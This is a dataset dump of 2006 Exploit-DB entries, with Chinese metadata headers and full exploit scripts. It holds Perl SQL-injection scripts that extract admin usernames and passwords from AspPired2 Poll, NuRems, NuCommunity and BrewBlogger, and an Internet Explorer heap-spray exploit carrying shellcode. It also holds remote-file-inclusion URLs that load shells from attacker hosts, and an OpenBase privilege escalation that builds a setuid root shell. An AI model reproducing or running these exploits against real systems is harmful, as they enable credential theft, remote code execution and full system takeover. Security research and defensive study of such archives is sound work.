QLWD/code_shield huggingface dataset:
标题: AspPired2Poll 1.0 - 'MoreInfo.asp' SQL Injection EDB-ID: 2746 CVE: 2006-5892 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-09 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: AspPired2 Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  AspPired2 Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "MoreInfo.asp?id=";
$target = "-1+union+select+login+from+user+where+no+like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

$targettwo = "-1+union+select+password+from+user+where+no+like%20".$ARGV[2];
$targettwo = $host.$dir.$file.$targettwo;



#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /ltext\">(.*?)<\/td>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";

print "+**********************************************************************+\n";
print "+ Trying to connect for Password: $server\n";
$socket1 = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket1 "GET $targettwo\n";
print $socket1 "Host: $server\n";
print $socket1 "Accept: */*\n";
print $socket1 "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket1>) {
if ($answer =~ /ltext\">(.*?)<\/td>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
print "+**********************************************************************+\n";
exit();
}


if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   } 
    }
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-09] URL: https://www.exploit-db.com/exploits/2746
标题: NuRems 1.0 - 'propertysdetails.asp' SQL Injection EDB-ID: 2755 CVE: 2006-5886 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-11 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "propertysdetails.asp?PropID=";
$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /Location:(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /Address:(.*?)<\/font>/){ 
print "+ Password: $1\n";
}

if ($answer =~ /# Rooms:(.*?)<\/font>/){ 
print "+ Email: $1\n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
    
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-11] URL: https://www.exploit-db.com/exploits/2755
标题: NuCommunity 1.0 - 'cl_CatListing.asp' SQL Injection EDB-ID: 2754 CVE: 2006-5881 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-11 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "cl_CatListing.asp?cl_cat_ID=";
$target = "-1%20union%20select%200,0,0,admin_user%20from%20admin+where+admin_id%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

$targettwo = "-1%20union%20select%200,0,0,admin_password%20from%20admin+where+admin_id%20like%20".$ARGV[2];
$targettwo = $host.$dir.$file.$targettwo;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /t size=\"2\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";

print "+**********************************************************************+\n";
print "+ Trying to connect for Password: $server\n";
$socket1 = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket1 "GET $targettwo\n";
print $socket1 "Host: $server\n";
print $socket1 "Accept: */*\n";
print $socket1 "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket1>) {
if ($answer =~ /t size=\"2\">(.*?)<\/font>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
print "+**********************************************************************+\n";
exit();
}


if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   } 
    }
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-11] URL: https://www.exploit-db.com/exploits/2754
标题: BrewBlogger 1.3.1 - 'printLog.php' SQL Injection EDB-ID: 2751 CVE: 2006-5889 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-10 漏洞利用脚本: #!/usr/bin/perl
###########################################################################################
#Target:
#
#       BewBlogger 1.3.1
#       http://brewblogger.zkdigital.com
#
#Vulnerability:
#
#       SQL Injection
#
#Description:
#
#       BrewBlogger does not properly sanitize the 'id=' parameter passed to printLog.php.
#       Since each user entry contains an auto-incrementing ID number, it is possible to
#       enumerate all user names and passwords stored in the 'users'database by iterating
#       through every possible ID number.
#
#Vulnerable Code (truncated):
#
#       $colname_log = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
#       $query_log = sprintf("SELECT * FROM brewing WHERE id = %s", $colname_log);
#       $log = mysql_query($query_log, $brewing) or die(mysql_error());
#
#Usage:
#       This script will produce a URL which will reveal the user name and password for
#       the specified ID. If no ID is specified, 2 is used (seems to be the usual ID for
#       the first user). The user name will be listed as "Method:" under 'General
#       Information', and the password will be listed as "Cost:".
#
#Usage:
#       ./brewblog.pl <domain name + path> [user id]
#
#Examples:
#
#       ./brewblogger.pl www.beerblog.com 3
#       ./brewblogger.pl www.mysite.com/beerblog
#
#Google Dork:
#
#       intext:"BrewBlogger for PHP"
#
#Discovery/code:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
###########################################################################################


print '
###########################################
# BrewBlogger 1.3.1 SQL Injection Exploit #
#                                         #
# Discovered and coded by: Craig Heffner  #
###########################################
';

if(!$ARGV[0] || $ARGV[0] eq "-h"){
       print "\nUsage: ./brewlogger.pl <domain name + path> [user id]\n\nSee script comments for more details\n";
       exit;
}


if(!$ARGV[1]){
       $id = 2;
} else {
       $id = $ARGV[1];
}

$url = "http://" . $ARGV[0] . "/printLog.php?id=0+UNION+SELECT+";
$a = 1;

while($a < 211){
       if($a == 8){
               $string .= "user_name,";
       } elsif($a == 9){
               $string .= "password,";
       } elsif($a == 210){
               $string .= "1";
       } else {
               $string .= "1,";
       }
       $a++;
}

print "\n\nUse the following URL:\n\n" . $url . $string . "+FROM+users+WHERE+id=" . $id . "\n";
exit;

# milw0rm.com [2006-11-10] URL: https://www.exploit-db.com/exploits/2751
标题: Microsoft Internet Explorer 6/7 - XML Core Services Remote Code Execution (2) EDB-ID: 2749 CVE: 2006-5745 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-10 漏洞利用脚本: <html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
 var heapSprayToAddress = 0x05050505;

 var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
</script>
<script>
 var heapBlockSize = 0x400000;

 var payLoadSize = payLoadCode.length * 2;

 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

 var spraySlide = unescape("%u9090%u9090");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);

 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

 memory = new Array();

 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }



 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }

</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;

obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);

</script>


</body></html>

# milw0rm.com [2006-11-10] URL: https://www.exploit-db.com/exploits/2749
标题: LetterIt 2.0 - 'session.php' Remote File Inclusion EDB-ID: 2744 CVE: 2006-5863 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-09 漏洞利用脚本: #==================================================================================
#  LetterIt (RFI)
#==================================================================================
# Info:-
#
# Scripts: LetterIt
# download : http://otterware.net/index.php?dl=45
# Version : 2
# Dork & vuln : download scripts and think :)
#
#=================================================================================
#Exploit :
#
#http://localhost/path/inc/session.php?sessionerror=0&lang=http://EvElCoDe.txt?
#
#=================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
#               |  MuhaciR  |Skrmhcr-GVinux | Jean |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
#===================================================================================

# milw0rm.com [2006-11-09] URL: https://www.exploit-db.com/exploits/2744
标题: gtcatalog 0.9.1 - 'index.php' Remote File Inclusion EDB-ID: 2745 CVE: 2006-5923 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-09 漏洞利用脚本: #=============================================================================================
#  Shopping Catalog (RFI)
#=============================================================================================
# Info:-
#
# Scripts: Shopping_Catalog
# download : http://www.gimescripts.com/categories/11%20Shopping%20Catalog%20PHP%20Script.zip
# Version : -
# Dork & vuln : download scripts and think :)
#
#=============================================================================================
#Exploit :
#
#http://localhost/path/index.php?function=custom&custom=http://EvElCoDe.txt?
#
#=============================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
#               |  MuhaciR  | Skrmhcr-GVinux | Jean |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
#==============================================================================================

# milw0rm.com [2006-11-09] URL: https://www.exploit-db.com/exploits/2745
标题: vBlog / C12 0.1 - 'cfgProgDir' Remote File Inclusion EDB-ID: 2740 CVE: 2006-6586 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-08 漏洞利用脚本: **********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :Vortex Blog AKA vBlog

* Class = Remote File Inclusion ;
 
* Download =http://switch.dl.sourceforge.net/sourceforge/c12/C12_a0.1_nonfunc.zip

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

--------------------------------------------------------------------------------------------

--------------
- Vulnerable Code

     include($cfgProgDir . "session.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/admin/auth/secure.php?cfgProgDir=http://evilsite.com/shell?
    http://[target]/[path]/admin/auth/checklogin.php?cfgProgDir=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

--------------

Special Thanks :  Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha

**********************************************************************************************************

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2740
标题: IrayoBlog 0.2.4 - '/inc/irayofuncs.php' Remote File Inclusion EDB-ID: 2741 CVE: 2006-5849 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-08 漏洞利用脚本: *********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :irayoblog-alpha-0.2.4

* Class = Remote File Inclusion ;
 
* Download =http://ovh.dl.sourceforge.net/sourceforge/irayoblog/irayoblog-alpha-0.2.4.tar.gz

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

----------------------------------------------------------------------------------------------------------
- Vulnerable Code

    require($irayodirhack."/inc/configdefaults.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell?



----------------------------------------------------------------------------------------------------------

Special Thanks :  Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha

**********************************************************************************************************

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2741
标题: DodosMail 2.0.1 - 'dodosmail.php' Remote File Inclusion EDB-ID: 2742 CVE: 2006-5841 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-08 漏洞利用脚本: --------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------


DodosMail <= 2.0.1(dodosmail.php)  Remote File Include Vulnerability



Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif


######################################################
#
#            DodosMail 2.0.1
#
# Class:     Remote File Include Vulnerability
# Published  2006-11-07
# Remote:    Yes
# Type:      dangerous
# Site:      http://regretless.com/scripts/scripts.php#dodosrangen
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################

file ;

dodosmail.php

==========================

       include_dodosmail_header($dodosmail_header_file);
       echo "<p class=\"DodosMailError\">DodosMail Error - the owner the php server is experiencing techinical difficulties. Please email use ".dodosmail_error_handle($your_email_address)." to send your email.\n";
       echo "<br /><br /><a href=\"javascript:history.back(1)\">Back</a>\n";
       echo "</p>\n";
include_dodosmail_footer($dodosmail_footer_file);


======================================================

Exploit :

Http://www.Victem.0/[DodosMail_PaTH]/dodosmail.php?dodosmail_header_file=http://coldzero.shell
Http://www.Victem.0/[DodosMail_PaTH]/dodosmail.php?dodosmail_footer_file=http://coldzero.shell

======================================================

----  GreeTz: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
              [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR]



#www.4azhar Team                >>      www.4azhar.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org



http://www.smileygenerator.us/smileysig2/links/918742001154432992.final.gif


--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2742
标题: Xcode OpenBase 10.0.0 (OSX) - Unsafe System Call Privilege Escalation EDB-ID: 2738 CVE: 2006-5852 类型: LOCAL 平台: OSX 发布日期: 2006-11-08 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.
#
# Tested against OpenBase10.0.0_MacOSX.dmg

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a - $b\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";

open(OP,">/tmp/pwns.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";

system("gcc -o /tmp/finisterre /tmp/finisterre.c");
system("gcc -o /tmp/pwns /tmp/pwns.c");

system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");

system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");

# milw0rm.com [2006-11-08] URL: https://www.exploit-db.com/exploits/2738